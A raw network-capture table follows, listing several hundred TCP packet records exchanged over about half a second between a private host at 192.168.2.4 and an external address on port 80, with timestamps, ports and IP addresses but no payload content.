Sep 1, 2024 05:09:07.632945061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632953882 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.632958889 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632977962 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.632998943 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633025885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633034945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633044004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633052111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633061886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633069992 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633104086 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633126974 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633136988 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633147001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633155107 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633186102 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633209944 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633235931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633245945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633255005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633264065 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633285046 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633306980 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633313894 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633323908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633333921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633341074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633356094 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633384943 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633745909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633755922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633769035 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633778095 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633786917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633796930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633796930 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633816957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633832932 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633888006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633898020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633907080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633914948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633924961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.633939028 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633965015 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.633996964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.634005070 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.634013891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.634025097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.634035110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.634036064 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.634069920 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.670042992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670053005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670061111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670104980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670113087 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.670114994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670125008 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670134068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670141935 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.670154095 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.670173883 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.670200109 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696422100 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696430922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696497917 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696573019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696626902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696655989 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696665049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696674109 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696696997 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696719885 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696780920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696790934 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696799040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696808100 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696818113 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696840048 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696857929 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696875095 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696899891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696908951 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696917057 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696924925 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696933985 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.696943998 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.696983099 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697041988 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697051048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697060108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697068930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697077990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697092056 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697113991 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697243929 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697252989 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697261095 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697268963 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697278023 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697285891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697292089 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697294950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697304010 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697326899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697360039 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697932959 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697952032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697961092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697968960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697978020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697981119 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.697987080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.697997093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.698015928 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.698046923 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721273899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721282959 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721292973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721338987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721343040 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721349001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721358061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721368074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721369028 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721391916 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721410036 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721437931 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721537113 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721546888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721554995 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721563101 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721571922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721580982 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721586943 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721590042 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721597910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721606970 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721609116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721637964 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721647978 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721842051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721851110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721860886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721874952 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721884966 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721887112 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721893072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721903086 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721908092 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721911907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721920013 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721930027 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.721940994 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721963882 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.721980095 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722143888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722152948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722161055 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722170115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722178936 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722187042 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722197056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722204924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722213984 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722225904 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722234964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722243071 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722296953 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722307920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722315073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722322941 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722328901 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722332001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722340107 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722348928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722361088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722371101 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722378969 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722383976 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722388029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722397089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722404957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722410917 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722414017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722421885 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722426891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.722440958 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722460985 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.722486019 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.723017931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723026991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723036051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723040104 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723050117 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723058939 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723067045 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723076105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723077059 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.723084927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723093033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723102093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723110914 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723115921 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.723123074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723131895 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723140955 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723150015 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.723150015 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.723150015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.723176003 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.723195076 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.756912947 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.756947041 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.756956100 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.756970882 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.756983995 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.757006884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.757008076 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.757015944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.757025003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.757035017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.757045984 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.757065058 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.757101059 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783416033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783458948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783468008 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783487082 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783508062 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783519983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783534050 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783550024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783561945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783565044 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783586979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783600092 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783627987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783636093 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783639908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783652067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783675909 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783699036 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783796072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783807993 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783818960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783828020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783844948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783849955 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783874035 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783899069 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783906937 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783910990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783921003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783931971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.783946991 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.783972979 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784116983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784127951 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784137011 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784146070 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784157038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784167051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784168005 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784178019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784187078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784188032 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784198046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784213066 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784234047 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784256935 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784267902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784276962 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784307957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784323931 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784329891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784341097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784351110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784369946 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784379005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784384012 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784390926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.784416914 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.784435034 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000575066 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000585079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000596046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000611067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000619888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000622988 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000628948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000638962 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000639915 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000673056 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000686884 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000715971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000725985 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000734091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000741959 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000751019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000760078 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000760078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000768900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000777006 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000777960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000787020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000802994 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000823975 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000880957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000890970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000899076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000906944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000915051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000920057 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000926018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000941992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000952005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000960112 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000962019 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000968933 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000977993 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000987053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.000988007 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.000996113 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001003027 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001007080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001025915 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001043081 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.001219988 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001229048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.001238108 CEST	80	49738	185.215.113.16	192.168.2.4
